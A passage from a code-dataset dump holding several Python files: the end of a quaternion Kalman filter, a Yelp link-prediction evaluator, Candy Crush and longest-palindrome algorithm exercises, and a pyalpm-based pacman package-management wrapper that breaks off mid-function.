Pqq_post = I_minus_KH.dot(self.Pqq).dot(I_minus_KH.T) + Ktheta.dot(Rzz).dot(Ktheta.T)\n\n # 5. Update nonattitude states\n db = self.Pbq.dot(Nqq_prior).dot(Xi_prior.T.dot(q_post.to_vector().reshape((4)))) * 2\n\n # 6. Calculate total covariance update: eqs 70, 71\n Pbq_post = self.Pbq.dot(Nqq_prior).dot(Pqq_post)\n Pbb_post = self.Pbb + self.Pbq.dot( Nqq_prior.dot(Pqq_post).dot(Nqq_prior) - Nqq_prior ).dot(self.Pqb)\n Pqb_post = Pbq_post.T\n\n # Perform the update in preparation for the next \n self.P = np.vstack(( np.hstack((Pqq_post, Pqb_post)),\n np.hstack((Pbq_post, Pbb_post)) ))\n\n dq_body = q_post * self.q.conjugated()\n self.q = q_post\n\n dx = np.hstack((np.zeros(3), db))\n self.x += dx\n print(\"q = {}\".format(self.q))\n print(\"Pqq = {}\".format(self.P[0:3,0:3]))\n\n return dx, dq_body\n\n\n def dynamics_matrix(self, omega):\n \"\"\"Linearize the dynamics at the current time point, using the current\n IMU measurements and the state.\n\n Args:\n omega angular velocity measurement (see propagate())\n\n Returns:\n A square matrix of the same size as the state vector.\n\n \"\"\"\n F = np.zeros((6,6))\n F[0:3,0:3] = -pq.skew(omega)\n F[0:3,3:6] = -np.identity(3)\n F[3:6,3:6] = -np.identity(3)/self.tau\n return F\n\n def state_transition_matrix(self, omega):\n \"\"\"Compute \\Phi(t_{k}, t_{k-1}) using IMU measurements and aspects of\n the filter state.\n\n This uses the first-order approximation\n\n \\Phi \\approx I + F|_{t_k} \\Delta t\n\n where t_k is the current time, and F is the Jacobian of the\n state dynamics (from dynamics_matrix()).\n\n Args:\n omega angular velocity measurement (as passed to propagate())\n\n Returns:\n An NxN matrix, where N is the size of the state vector.\n\n \"\"\"\n Phi = np.identity(6) + self.dynamics_matrix(omega) * self.dt\n Phi[3:6,3:6] = np.identity(3) * np.exp(-self.dt / self.tau)\n return Phi\n \n def process_noise(self):\n \"\"\"Compute the Q matrix.\n\n Returns:\n A diagonal matrix the same size as the covariance P.\n\n \"\"\"\n q_w = self.q_w_psd * self.q_w_psd_tuning_factor * self.dt\n return np.diag([0.0, 0.0, 0.0, q_w, q_w, q_w])\n\n def propagate(self, omega):\n \"\"\"Advance the state forward in time using measurements from the\n gyroscope.\n\n Args:\n omega measured angular velocity (body with respect to the\n inertial frame, expressed in the body frame)\n\n \"\"\"\n q_next = pq.propagate(self.q, omega, self.dt)\n\n Phi = self.state_transition_matrix(omega)\n P = self.P\n Q = self.process_noise()\n\n self.P = Phi.dot(P.dot(Phi.T)) + Q\n self.q = q_next\n # There are no dynamics on the state currently.\n\n self.time += self.dt\n \n self.log['t'].append(self.time)\n self.log['qIB'].append(q_next)\n self.log['wm'].append(omega)\n self.log['bg'].append(np.array(self.x[3:6])) # copy! don't ref\n self.log['Pdiag'].append(np.diag(self.P))\n\n def finish(self):\n \"\"\"Close out logs.\n\n \"\"\"\n self.log['t'] = np.hstack(self.log['t'])\n self.log['wm'] = np.vstack(self.log['wm']).T\n self.log['bg'] = np.vstack(self.log['bg']).T\n self.log['sigma'] = np.sqrt(np.vstack(self.log['Pdiag']).T)\n del self.log['Pdiag']\n \n\nif __name__ == '__main__':\n\n import pyquat.random as pqr\n import numpy.random as npr\n\n q_inrtl_to_body = pq.Quat(1.0, -2.0, 3.0, 4.0).normalized()\n print(\"q_ib = {}\".format(q_inrtl_to_body))\n\n ref_misalign = npr.randn(3) * 1e-6\n sun_obs_misalign = npr.randn(3) * 1e-5\n mag_obs_misalign = npr.randn(3) * 1e-5\n \n T_ref_err = np.identity(3) #- pq.skew(ref_misalign)\n T_sun_obs_err = np.identity(3) - pq.skew(sun_obs_misalign)\n T_mag_obs_err = np.identity(3) - pq.skew(mag_obs_misalign)\n \n mag_truth = np.array([0.0, 0.1, 1.0])\n mag_truth /= spl.norm(mag_truth)\n\n sun_truth = np.array([0.5, 0.5, 0.02])\n sun_truth /= spl.norm(sun_truth)\n\n Tib = q_inrtl_to_body.to_matrix()\n\n mag_ref = T_ref_err.dot(mag_truth)\n mag_ref /= spl.norm(mag_ref)\n sun_ref = T_ref_err.dot(sun_truth)\n sun_ref /= spl.norm(sun_ref)\n\n mag_obs = T_mag_obs_err.dot(Tib.dot(mag_ref))\n mag_obs /= spl.norm(mag_obs)\n sun_obs = T_sun_obs_err.dot(Tib.dot(sun_ref))\n sun_obs /= spl.norm(sun_obs)\n \n kf = Qekf(0.1)\n kf.update_attitude(sun_obs, mag_obs, sun_ref, mag_ref)\n","repo_name":"openlunar/qekf","sub_path":"qekf.py","file_name":"qekf.py","file_ext":"py","file_size_in_byte":9006,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"82"} +{"seq_id":"37365538651","text":"import pickle\r\nimport time\r\nfrom collections import defaultdict\r\nfrom cube_construction import YelpCube\r\nfrom scipy.sparse import coo_matrix\r\nfrom sklearn.decomposition import NMF\r\nfrom fancyimpute import BiScaler, KNN, NuclearNormMinimization, SoftImpute\r\nimport numpy as np\r\nimport os\r\nimport implicit\r\nfrom nmf_mask import mnmf\r\n\r\nclass YelpEval(object):\r\n\t#label_type:\r\n\t\t#group: small set of 116 authors\r\n\t\t#label: large set of 4236 authors\r\n\tdef __init__(self, cube=None, business=[], setn=0):\r\n\r\n\t\tif cube == None:\r\n\t\t\twith open('models/step3.pkl', 'rb') as f:\r\n\t\t\t\tself.cube = pickle.load(f)\r\n\t\telse:\r\n\t\t\tself.cube = cube\r\n\r\n\t\twith open('models/basenet.pkl', 'rb') as f:\r\n\t\t\tbasenet = pickle.load(f)\r\n\r\n\t\tif setn == 0:\r\n\t\t\tself.x = basenet['set0_business']\r\n\t\t\tself.y = basenet['set0_user']\r\n\t\t\tself.z = basenet['set0_link']\r\n\t\telse:\r\n\t\t\tself.x = basenet['set1_business']\r\n\t\t\tself.y = basenet['set1_user']\r\n\t\t\tself.z = basenet['set1_link']\t\t\r\n\r\n\t\r\n\tdef nodeGen(self, size=0):\r\n\r\n\t\tself.business = self.x.copy()\r\n\t\tself.user = self.y.copy()\r\n\t\tif size == 0:\r\n\t\t\treturn\r\n\r\n\t\tfor b in self.business:\r\n\t\t\tself.user |= self.cube.business_user[b]\r\n\t\tif size == 1:\r\n\t\t\treturn\r\n\r\n\t\tfor u in self.user:\r\n\t\t\tself.business |= self.cube.user_business[u]\r\n\t\tif size == 2:\r\n\t\t\treturn\r\n\r\n\t\tfor b in self.business:\r\n\t\t\tself.user |= self.cube.business_user[b]\r\n\t\tif size == 3:\r\n\t\t\treturn\r\n\r\n\t\tfor u in self.user:\r\n\t\t\tself.business |= self.cube.user_business[u]\r\n\t\tif size == 4:\r\n\t\t\treturn\r\n\r\n\t\tfor b in self.business:\r\n\t\t\tself.user |= self.cube.business_user[b]\r\n\r\n\r\n\tdef netGen(self, size=0):\r\n\r\n\t\tself.nodeGen(size)\r\n\t\tself.b_id = list(self.business)\r\n\t\tself.u_id = list(self.user)\t\t\r\n\t\trow = []\r\n\t\tcol = []\r\n\t\tself.link = set()\r\n\t\tfor i in range(len(self.b_id)):\r\n\t\t\tfor j in range(len(self.u_id)):\r\n\t\t\t\tif self.u_id[j] in self.cube.business_user[self.b_id[i]] and (self.b_id[i], self.u_id[j]) not in self.z:\r\n\t\t\t\t\trow.append(i)\r\n\t\t\t\t\tcol.append(j)\r\n\t\t\t\t\tself.link.add((self.b_id[i], self.u_id[j]))\r\n\r\n\t\tself.mat = coo_matrix((np.ones(len(row)), (np.array(row), np.array(col))), shape=(len(self.b_id), len(self.u_id)))\r\n\r\n\t\tprint('Size of generated network: %d/%d/%d' % (len(self.business), len(self.user), len(row)))\r\n\t\r\n\r\n\tdef netPred(self, method='mf', dim=100, alpha=0.1):\r\n\t\t'''\r\n\t\t\tsupported methods: mf, cf, mnmf, fancy_nnm, fancy_soft\r\n\t\t'''\r\n\t\tif method == 'mf':\r\n\t\t\tmodel = NMF(n_components=dim, alpha=alpha, l1_ratio=0.2)\r\n\t\t\tW = model.fit_transform(self.mat)\r\n\t\t\tH = model.components_\r\n\t\t\tself.pred = np.matmul(W, H)\r\n\t\telif method == 'cf':\r\n\t\t\tmodel = implicit.als.AlternatingLeastSquares(factors=dim, regularization=alpha)\r\n\t\t\tmodel.fit(self.mat)\r\n\t\t\tself.pred = np.matmul(model.item_factors, model.user_factors.T)\r\n\t\telif method == 'mnmf':\r\n\t\t\tself.pred = mnmf(self.mat, dim, alpha)\r\n\t\telif 'fancy' in method:\r\n\t\t\tX = self.mat.toarray().astype(np.float)\r\n\t\t\tX[X==0] = np.nan\r\n\t\t\tif 'nnm' in method:\r\n\t\t\t\tself.pred = NuclearNormMinimization(error_tolerance=0.01).complete(X)\r\n\t\t\telif 'soft' in method:\r\n\t\t\t\tself.pred = SoftImpute().complete(X)\r\n\r\n\tdef netEval(self, k=2):\r\n\t\tcorrect = 0\r\n\t\tfor u in self.y:\r\n\t\t\tscores = self.pred[:, self.u_id.index(u)]\r\n\t\t\tpreds = map(lambda x: self.b_id[x], list(scores.argsort()[::-1]))\r\n\t\t\tkk = 0\r\n\t\t\ti = 0\r\n\t\t\twhile kk < k:\r\n\t\t\t\tif (preds[i], u) not in self.link and preds[i] in self.x:\r\n\t\t\t\t\tkk += 1\r\n\t\t\t\t\tif (preds[i], u) in self.z:\r\n\t\t\t\t\t\tcorrect += 1\r\n\t\t\t\ti += 1\r\n\r\n\t\tprec = correct*1.0/(k*len(self.y))\r\n\t\trec = correct*1.0/len(self.z)\r\n\r\n\t\tix = np.unravel_index(self.pred.argsort(axis=None), dims=self.pred.shape)\r\n\t\tids = zip(*ix)[::-1]\r\n\t\ttp = []\r\n\t\tfp = []\r\n\t\tctp = 0\r\n\t\tcfp = 0\r\n\t\tfor t in ids:\r\n\t\t\tif (self.b_id[t[0]], self.u_id[t[1]]) not in self.link and self.b_id[t[0]] in self.x and self.u_id[t[1]] in self.y:\r\n\t\t\t\tif (self.b_id[t[0]], self.u_id[t[1]]) in self.z:\r\n\t\t\t\t\tctp += 1\r\n\t\t\t\telse:\r\n\t\t\t\t\tcfp += 1\r\n\t\t\t\ttp.append(ctp)\r\n\t\t\t\tfp.append(cfp)\r\n\t\ttp = map(lambda x: x*1.0/ctp, tp)\r\n\t\tfp = map(lambda x: x*1.0/cfp, fp)\r\n\t\tauc = 0\r\n\t\tfor i in range(1, len(tp)):\r\n\t\t\tauc += (fp[i]-fp[i-1])*tp[i]\r\n\r\n\t\tprint('Evaluation results: %f/%f/%f' %(prec, rec, auc))\r\n\t\treturn((prec, rec, auc))\r\n\r\n\tdef netDebug(self):\r\n\t\tfor t in self.link:\r\n\t\t\tprint(self.pred[self.b_id.index(t[0]), self.u_id.index(t[1])])\r\n\t\tprint(self.pred)\r\n\r\n\tdef noCubeEval(self, size=0, method='mf', dim=100, alpha=0.1, k=10):\r\n\t\t\r\n\t\tstarttime = time.time()\r\n\t\tself.netGen(size)\r\n\t\tprint('network generation time: %ds' % (time.time()-starttime))\r\n\t\tstarttime = time.time()\r\n\t\tself.netPred(method, dim, alpha)\r\n\t\tprint('prediction time: %ds' % (time.time()-starttime))\r\n\t\tself.netEval(k)\r\n\t\t#self.netDebug()\r\n\r\nif __name__ == '__main__':\r\n\ttest = YelpEval()\r\n\ttest.noCubeEval(size=5, method='fancy_soft', dim=100, alpha=0.1, k=5)\r\n\r\n\r\n","repo_name":"yangji9181/cube2net_yelp","sub_path":"yelp_cube/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36078747471","text":"\"\"\"\nThis question is about implementing a basic elimination \nalgorithm for Candy Crush. Given a 2D integer array \nboard representing the grid of candy, different positive \nintegers board[i][j] represent different types of candies. \nA value of board[i][j] = 0 represents that the cell at \nposition (i, j) is empty. The given board represents the \nstate of the game following the player's move. Now, you \nneed to restore the board to a stable state by crushing \ncandies according to the following rules:\nIf three or more candies of the same type are adjacent \nvertically or horizontally, \"crush\" them all at the same \ntime - these positions become empty.\nAfter crushing all candies simultaneously, if an empty \nspace on the board has candies on top of itself, then \nthese candies will drop until they hit a candy or bottom \nat the same time. (No new candies will drop outside the \ntop boundary.) After the above steps, there may exist more \ncandies that can be crushed. If so, you need to repeat the \nabove steps. If there does not exist more candies that can \nbe crushed (ie. the board is stable), then return the \ncurrent board. You need to perform the above rules until \nthe board becomes stable, then return the current board.\n\"\"\"\n\n\nclass Solution:\n def candyCrush(self, board: List[List[int]]):\n while True:\n crushed = set()\n for i in range(len(board)):\n for j in range(len(board[0])):\n if i > 1 and board[i][j] and \\\n board[i][j] == board[i - 1][j] \\\n == board[i - 2][j]:\n crushed |= {(i, j), (i - 1, j), (i - 2, j)}\n if j > 1 and board[i][j] and board[i][j] \\\n == board[i][j - 1] == board[i][j - 2]:\n crushed |= {(i, j), (i, j - 1), (i, j - 2)}\n if not crushed:\n break\n for candy in crushed:\n board[candy[0]][candy[1]] = 0\n for j in range(len(board[0])):\n tracker = len(board) - 1\n for i in reversed(range(len(board))):\n if board[i][j]:\n board[tracker][j] = board[i][j]\n tracker -= 1\n for i in range(tracker + 1):\n board[i][j] = 0\n return board\n\n print(candyCrush([[110, 5, 112, 113, 114], [210, 211, 5, 213, 214],\n [310, 311, 3, 313, 314], [410, 411, 412, 5, 414],\n [5, 1, 512, 3, 3], [610, 4, 1, 613, 614],\n [710, 1, 2, 713, 714], [810, 1, 2, 1, 1],\n [1, 1, 2, 2, 2], [4, 1, 4, 4, 1014]]))\n print(\"The matrix above should be [[0, 0, 0, 0, 0], [0, 0, 0, 0, 0], \\\n [0, 0, 0, 0, 0], [110, 0, 0, 0, 114], [210, 0, 0, 0, 214], \\\n [310, 0, 0, 113, 314], [410, 0, 0, 213, 414], \\\n [610, 211, 112, 313, 614], [710, 311, 412, 613, 714], \\\n [810, 411, 512, 713, 1014]].\")\n","repo_name":"alvinwang922/Data-Structures-and-Algorithms","sub_path":"Matrices/Candy-Crush.py","file_name":"Candy-Crush.py","file_ext":"py","file_size_in_byte":3006,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"13523506525","text":"# Find Connected Components\n# By Carson Forsyth\n# From Professor Mingfu Shao\n# CMPSCI 465 @ PSU, FA2020\n\n# This is a dynamic programming algorithm to return the largest palindromic\n# substring found in a given string. Table is filled as \n# row = start of sequence, column = end of sequence, value = length of sequence. \n\n\ninput_string = input()\nn = len(input_string)\n# init dp table\ndp_table = []\nfor row in range(n):\n this_row = []\n for column in range(n):\n if row == column:\n this_row.append(1)\n else:\n this_row.append(0)\n dp_table.append(this_row)\n# fill out from bottom to top, table not needed below F(i,i)\nfor row in reversed(range(n-1)):\n for column in range(row+1, n):\n if input_string[row] == input_string[column]:\n dp_table[row][column] = dp_table[row+1][column-1] + 2\n else:\n dp_table[row][column] = max(dp_table[row+1][column], dp_table[row][column-1])\nprint(dp_table[0][n-1])\n","repo_name":"CarsonForsyth/Algorithms","sub_path":"Longest_Palindrome.py","file_name":"Longest_Palindrome.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2268562491","text":"import subprocess\n\nimport sys\nimport math\nimport logging\nimport os\nimport queue\n# If we are importing this module from backend:\ntry:\n import alpm_events as alpm\n import pkginfo as pkginfo\n import pacman_conf as config\nexcept ImportError as err:\n # If we are importing this module from frontend:\n try:\n import pacman.alpm_events as alpm\n import pacman.pkginfo as pkginfo\n import pacman.pacman_conf as config\n except ImportError as err:\n # If we are running this module from command line:\n try:\n import poodle.backend.pacman.alpm_events as alpm\n import poodle.backend.pacman.pkginfo as pkginfo\n import poodle.backend.pacman.pacman_conf as config\n except ImportError as err:\n logging.error(err)\n\ntry:\n import pyalpm\nexcept ImportError as err:\n logging.error(err)\n\n_DEFAULT_ROOT_DIR = \"/\"\n_DEFAULT_DB_PATH = \"/var/lib/pacman\"\n\n\nclass Pac(object):\n \"\"\" Communicates with libalpm using pyalpm \"\"\"\n\n def __init__(self, conf_path=\"/etc/pacman.conf\", callback_queue=None, updates=False):\n self.callback_queue = callback_queue\n\n self.conflict_to_remove = None\n\n self.handle = None\n\n # Some download indicators (used in cb_dl callback)\n self.last_dl_filename = None\n self.last_dl_progress = 0\n self.last_dl_total_size = 0\n\n # Total packages to download\n self.total_packages_to_download = 0\n self.downloaded_packages = 0\n\n # Store package total download size\n self.total_download_size = 0\n\n self.last_event = {}\n\n if not os.path.exists(conf_path):\n raise pyalpm.error\n\n if conf_path is not None and os.path.exists(conf_path):\n self.config = config.PacmanConfig(conf_path)\n self.initialize(updates=updates)\n else:\n raise pyalpm.error\n\n def get_handle(self):\n return self.handle\n\n def get_config(self):\n return self.config\n\n def initialize(self, updates=False):\n if self.config is not None:\n root_dir = self.config.options[\"RootDir\"]\n db_path = self.config.options[\"DBPath\"]\n else:\n root_dir = _DEFAULT_ROOT_DIR\n db_path = _DEFAULT_DB_PATH\n\n self.handle = pyalpm.Handle(root_dir, db_path)\n\n if self.handle is None:\n raise pyalpm.error\n\n if self.config is not None:\n self.config.apply(self.handle, updates)\n\n # Set callback functions\n\n # Callback used for logging\n self.handle.logcb = self.cb_log\n\n # Callback used to report download progress\n self.handle.dlcb = self.cb_dl\n\n # Callback used to report total download size\n self.handle.totaldlcb = self.cb_totaldl\n\n # Callback used for events\n self.handle.eventcb = self.cb_event\n\n # Callback used for questions\n self.handle.questioncb = self.cb_question\n\n # Callback used for operation progress\n self.handle.progresscb = self.cb_progress\n\n # Downloading callback\n self.handle.fetchcb = None\n\n def release(self):\n if self.handle is not None:\n del self.handle\n self.handle = None\n if os.path.exists('/var/lib/pacman/db.lck'):\n os.remove('/var/lib/pacman/db.lck')\n\n @staticmethod\n def finalize_transaction(transaction):\n \"\"\" Commit a transaction \"\"\"\n all_ok = True\n try:\n logging.debug(_(\"Prepare alpm transaction...\"))\n transaction.prepare()\n logging.debug(_(\"Commit alpm transaction...\"))\n transaction.commit()\n except pyalpm.error as pyalpm_error:\n msg = _(\"Can't finalize alpm transaction: %s\")\n logging.error(msg, pyalpm_error)\n all_ok = False\n finally:\n logging.debug(_(\"Releasing alpm transaction...\"))\n transaction.release()\n logging.debug(_(\"Alpm transaction done.\"))\n return all_ok\n\n def init_transaction(self, options={}):\n \"\"\" Transaction initialization \"\"\"\n transaction = None\n try:\n transaction = self.handle.init_transaction(\n cascade=options.get('cascade', False),\n nodeps=options.get('nodeps', False),\n force=options.get('force', False),\n dbonly=options.get('dbonly', False),\n downloadonly=options.get('downloadonly', False),\n needed=options.get('needed', False),\n nosave=options.get('nosave', False),\n recurse=(options.get('recursive', 0) > 0),\n recurseall=(options.get('recursive', 0) > 1),\n unneeded=options.get('unneeded', False),\n alldeps=(options.get('mode', None) ==\n pyalpm.PKG_REASON_DEPEND),\n allexplicit=(options.get('mode', None) == pyalpm.PKG_REASON_EXPLICIT))\n except pyalpm.error as pyalpm_error:\n msg = _(\"Can't init alpm transaction: %s\")\n logging.error(msg, pyalpm_error)\n finally:\n return transaction\n\n '''\n group.add_argument('-c', '--cascade',\n action = 'store_true', default = False,\n help = 'remove packages and all packages that depend on them')\n group.add_argument('-d', '--nodeps',\n action = 'store_true', default = False,\n help = 'skip dependency checks')\n group.add_argument('-k', '--dbonly',\n action = 'store_true', default = False,\n help = 'only modify database entries, not package files')\n group.add_argument('-n', '--nosave',\n action = 'store_true', default = False,\n help = 'remove configuration files as well')\n group.add_argument('-s', '--recursive',\n action = 'store_true', default = False,\n help = \"remove dependencies also (that won't break packages)\")\n group.add_argument('-u', '--unneeded',\n action = 'store_true', default = False,\n help = \"remove unneeded packages (that won't break packages)\")\n group.add_argument('pkgs', metavar = 'pkg', nargs='*',\n help = \"a list of packages, e.g. libreoffice, openjdk6\")\n '''\n\n def remove(self, pkg_names, options={}):\n \"\"\" Removes a list of package names \"\"\"\n\n # Prepare target list\n targets = []\n db = self.handle.get_localdb()\n for pkg_name in pkg_names:\n pkg = db.get_pkg(pkg_name)\n if pkg is None:\n logging.error(_(\"Target %s not found\"), pkg_name)\n return False\n targets.append(pkg)\n\n transaction = self.init_transaction(options)\n\n if transaction is None:\n logging.error(_(\"Can't init transaction\"))\n return False\n\n for pkg in targets:\n logging.debug(\n _(\"Adding package '%s' to remove transaction\"), pkg.name)\n transaction.remove_pkg(pkg)\n\n return self.finalize_transaction(transaction)\n\n def refresh(self, force=False):\n \"\"\" Sync databases like pacman -Sy \"\"\"\n if self.handle is None:\n logging.error(_(\"alpm is not initialised\"))\n raise pyalpm.error\n\n res = True\n for db in self.handle.get_syncdbs():\n transaction = self.init_transaction()\n if transaction:\n db.update(force)\n transaction.release()\n else:\n res = False\n return res\n\n def check_updates(self):\n \"\"\" Check for available updates. \"\"\"\n # Repo \"Usage\" property is not fully supported in pyalpm. Tried to work-around that\n # but it isn't working out so we'll use the \"checkupdates\" command for the time being.\n if not True:\n if self.handle is not None:\n self.release()\n self.initialize(updates=True)\n\n self.refresh()\n transaction = self.init_transaction()\n res = []\n if transaction:\n transaction.sysupgrade(False)\n if len(transaction.to_add) + len(transaction.to_remove) == 0:\n logging.info('no pkgs to upgrade')\n transaction.release()\n else:\n logging.info(\n 't_add, to_remove: %s | %s' % (transaction.to_add, transaction.to_remove))\n logging.info(dir(transaction.to_add[0]))\n res = [x.name for x in transaction.to_add]\n self.release()\n self.initialize(updates=False)\n\n return res\n\n try:\n check = subprocess.check_output(['checkupdates'], stderr=subprocess.STDOUT,\n universal_newlines=True)\n except subprocess.CalledProcessError as err:\n check = None\n logging.error((err.returncode, err.output))\n\n if check is not None:\n check = [str(x) for x in check.split('\\n') if\n str(x) != '' and str(x) not in self.handle.noupgrades and\n str(x) not in self.handle.ignorepkgs]\n logging.info(self.handle.ignorepkgs)\n\n return check if check is not None else []\n\n def install(self, pkgs, conflicts=[], options={}):\n \"\"\" Install a list of packages like pacman -S \"\"\"\n if self.handle is None:\n logging.error(_(\"alpm is not initialised\"))\n raise pyalpm.error\n\n if len(pkgs) == 0:\n logging.error(_(\"Package list is empty\"))\n raise pyalpm.error\n\n logging.info(_(\"Running do_install\"))\n\n # Discard duplicates\n pkgs = list(set(pkgs))\n\n repos = dict((db.name, db) for db in self.handle.get_syncdbs())\n\n targets = []\n for name in pkgs:\n ok, pkg = self.find_sync_package(name, repos)\n if ok:\n # Check that added package is not in our conflicts list\n if pkg.name not in conflicts:\n print(\"Appending \", pkg.name)\n targets.append(pkg.name)\n else:\n # Couldn't find the package, check if it's a group\n group_pkgs = self.get_group_pkgs(name)\n if group_pkgs is not None:\n # It's a group\n for group_pkg in group_pkgs:\n # Check that added package is not in our conflicts list\n # Ex: connman conflicts with netctl(openresolv),\n # which is installed by default with base group\n if group_pkg.name not in conflicts:\n targets.append(group_pkg.name)\n else:\n # No, it wasn't neither a package nor a group. As we don't know if\n # this error is fatal or not, we'll register it and we'll allow to continue.\n logging.error(\n _(\"Can't find a package or group called '%s'\"), name)\n\n # Discard duplicates\n targets = list(set(targets))\n\n if len(targets) == 0:\n logging.error(_(\"No targets found\"))\n return False\n\n num_targets = len(targets)\n logging.debug(\"%d target(s) found\", num_targets)\n\n # Maybe not all this packages will be downloaded, but it's how many have to be there\n # before starting the installation\n self.total_packages_to_download = num_targets\n\n transaction = self.init_transaction(options)\n\n if transaction is None:\n logging.error(_(\"Can't init transaction\"))\n return False\n\n for i in range(0, num_targets):\n ok, pkg = self.find_sync_package(targets.pop(), repos)\n if ok:\n logging.debug(\n _(\"Adding package '%s' to install transaction\"), pkg.name)\n transaction.add_pkg(pkg)\n else:\n logging.warning(pkg)\n\n return self.finalize_transaction(transaction)\n\n def system_upgrade(self, options={}):\n if self.handle is None:\n logging.error(_(\"alpm is not initialised\"))\n raise pyalpm.error\n downgrade = False\n transaction = self.init_transaction(options)\n\n if transaction is None:\n logging.error(_(\"Can't init transaction\"))\n return False\n transaction.sysupgrade(downgrade)\n if len(transaction.to_add) + len(transaction.to_remove) == 0:\n logging.debug(\"system_upgrade: nothing to do\")\n transaction.release()\n return 0\n else:\n ok = transaction.finalize(t)\n return True if ok else False\n\n @staticmethod\n def find_sync_package(pkgname, syncdbs):\n \"\"\" Finds a package name in a list of DBs\n :rtype : tuple (True/False, package or error message)\n \"\"\"\n for db in syncdbs.values():\n pkg = db.get_pkg(pkgname)\n if pkg is not None:\n return True, pkg\n return False, \"Package '{0}' was not found.\".format(pkgname)\n\n def get_group_pkgs(self, group):\n \"\"\" Get group's packages \"\"\"\n for repo in self.handle.get_syncdbs():\n grp = repo.read_grp(group)\n if grp is not None:\n name, pkgs = grp\n return pkgs\n return None\n\n def get_packages_info(self, pkg_names=[]):\n \"\"\" Get information about packages like pacman -Si \"\"\"\n packages_info = {}\n if len(pkg_names) == 0:\n # Store info from all packages from all repos\n for repo in self.handle.get_syncdbs():\n for pkg in repo.pkgcache:\n packages_info[pkg.name] = pkginfo.get_pkginfo(\n pkg, level=2, style='sync')\n else:\n repos = dict((db.name, db) for db in self.handle.get_syncdbs())\n for pkg_name in pkg_names:\n ok, pkg = self.find_sync_package(pkg_name, repos)\n if ok:\n packages_info[pkg_name] = pkginfo.get_pkginfo(\n pkg, level=2, style='sync')\n else:\n packages_info = {}\n logging.error(pkg)\n return packages_info\n\n def get_package_info(self, pkg_name, local=False):\n \"\"\" Get information about packages like pacman -Si \"\"\"\n if local:\n repos = dict((db.name, db) for db in [self.handle.get_localdb()])\n style = 'local'\n else:\n repos = dict((db.name, db) for db in self.handle.get_syncdbs())\n style = 'sync'\n ok, pkg = self.find_sync_package(pkg_name, repos)\n if ok:\n info = pkginfo.get_pkginfo(pkg, level=2, style=style)\n else:\n logging.debug(pkg)\n info = {}\n return info\n\n def queue_event(self, event_type, event_text=\"\"):\n \"\"\" Queues events to the event list in the GUI thread \"\"\"\n\n if event_type == \"percent\":\n # Limit percent to two decimal\n event_text = \"{0:.2f}\".format(event_text)\n\n if event_type in self.last_event:\n if self.last_event[event_type] == event_text:\n # Do not enqueue the same event twice\n return\n\n self.last_event[event_type] = event_text\n\n if event_type == \"error\":\n # Format message to show file, function, and line where the error was issued\n import inspect\n # Get the previous frame in the stack, otherwise it would be this function\n func = inspect.currentframe().f_back.f_code\n # Dump the message + the name of this function to the log.\n event_text = \"{0}: {1} in {2}:{3}\".format(event_text, func.co_name, func.co_filename,\n func.co_firstlineno)\n\n if self.callback_queue is None:\n if event_type == \"error\":\n logging.error(event_text)\n sys.exit(1)\n else:\n logging.debug(event_text)\n else:\n try:\n self.callback_queue.put_nowait((event_type, event_text))\n except queue.Full:\n logging.warning(\"Callback queue is full\")\n\n if event_type == \"error\":\n # We've queued a fatal event so we must exit installer_process process\n # wait until queue is empty (is emptied in slides.py, in the GUI thread), then exit\n self.callback_queue.join()\n sys.exit(1)\n\n # Callback functions\n\n @staticmethod\n def cb_question(*args):\n \"\"\" Called to get user input \"\"\"\n pass\n\n def cb_totaldl(self, total_size):\n \"\"\" Stores total download size for use in cb_progress \"\"\"\n self.total_download_size = total_size\n\n def cb_event(self, event_type, event_txt):\n \"\"\" Converts action ID to descriptive text and enqueues it to the events queue \"\"\"\n\n if event_type is alpm.ALPM_EVENT_CHECKDEPS_START:\n action = _('Checking dependencies...')\n elif event_type is alpm.ALPM_EVENT_FILECONFLICTS_START:\n action = _('Checking file conflicts...')\n elif event_type is alpm.ALPM_EVENT_RESOLVEDEPS_START:\n action = _('Resolving dependencies...')\n elif event_type is alpm.ALPM_EVENT_INTERCONFLICTS_START:\n action = _('Checking inter conflicts...')\n elif event_type is alpm.ALPM_EVENT_PACKAGE_OPERATION_START:\n # Shown in cb_progress\n action = \"\"\n elif event_type is alpm.ALPM_EVENT_INTEGRITY_START:\n action = _('Checking integrity...')\n elif event_type is alpm.ALPM_EVENT_LOAD_START:\n action = _('Loading packages...')\n elif event_type is alpm.ALPM_EVENT_DELTA_INTEGRITY_START:\n action = _(\"Checking target delta's integrity...\")\n elif event_type is alpm.ALPM_EVENT_DELTA_PATCHES_START:\n action = _('Applying deltas to packages...')\n elif event_type is alpm.ALPM_EVENT_DELTA_PATCH_START:\n action = _('Applying delta patch to target package...')\n elif event_type is alpm.ALPM_EVENT_RETRIEVE_START:\n action = _('Downloading files from the repository...')\n elif event_type is alpm.ALPM_EVENT_DISKSPACE_START:\n action = _('Checking disk space...')\n elif event_type is alpm.ALPM_EVENT_KEYRING_START:\n action = _('Checking keys in keyring...')\n elif event_type is alpm.ALPM_EVENT_KEY_DOWNLOAD_START:\n action = _('Downloading missing keys into the keyring...')\n else:\n action = \"\"\n\n if len(action) > 0:\n self.queue_event('info', action)\n\n @staticmethod\n def cb_log(level, line):\n \"\"\" Log pyalpm warning and error messages.\n Possible message types:\n LOG_ERROR, LOG_WARNING, LOG_DEBUG, LOG_FUNCTION \"\"\"\n\n # Strip ending '\\n'\n line = line.rstrip()\n\n if \"error 31 from alpm_db_get_pkg\" in line:\n # It's ok not to show this error because we search the package in all repos,\n # and obviously it will only be in one of them, throwing errors when searching in the other ones\n return\n\n if level & pyalpm.LOG_ERROR:\n logging.error(line)\n elif level & pyalpm.LOG_WARNING:\n logging.warning(line)\n elif level & pyalpm.LOG_DEBUG:\n # I get pyalpm errors here. Why?\n # Check against error 0 as it is not an error :p\n # There are a lot of \"extracting\" messages (not very useful). I do not show them.\n\n # TODO: Check that we don't show normal debug messages as errors (or viceversa)\n if \" error \" in line and \"error 0\" not in line:\n logging.error(line)\n elif \"extracting\" not in line and \"extract: skipping dir extraction\" not in line:\n logging.debug(line)\n\n def cb_progress(self, 